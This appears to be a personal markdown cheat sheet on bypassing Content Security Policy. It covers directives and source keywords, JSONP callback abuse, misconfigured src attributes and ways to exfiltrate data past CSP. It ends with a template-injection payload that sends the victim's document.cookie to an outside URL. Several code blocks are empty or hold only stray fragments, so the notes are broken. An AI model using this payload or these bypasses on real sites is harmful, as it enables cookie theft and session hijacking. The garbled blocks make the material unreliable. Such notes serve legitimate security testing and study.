# Content Security Policy (CSP) * Either in HTTP header or inside DOM's HTML * [CSP directives](https://content-security-policy.com/#directive) * [CSP evaluator](https://csp-evaluator.withgoogle.com/) * [Bypassing csp](https://blog.0daylabs.com/2016/09/09/bypassing-csp/) ## Sources * `*` wildcard * `none` * `self` for sources delivered through the same protocol * `default-src 'self';` may not load any script * `unsafe-inline` * `unsafe-eval` * `test.com` loads resources from domain but not subdomains * `*.test.com` loads resources from subdomains * `data:...` critical usage * `nonce` loads if nonce is correct. `sha256`, `sha384`, `sha512` * [style hasher](https://report-uri.com/home/hash) ## Usage ### JSONP Find JSONP endpoints through which to use custom callback functions * [JSONBee](https://github.com/zigoo0/JSONBee) ```sh "> ``` ### Misconfiguration Insert payload into `src` attribute ### Exfiltration * [Beeceptor](beeceptor.com) * Local webserver * `connect-src` while Ajax/XHR requests are enabled * Disguising as an `image-src` or `media-src` source ```html ``` other payloads ```sh ``` * ```sh
{{$on.curry.call().document.location='https:///' + $on.curry.call().document.cookie}}
```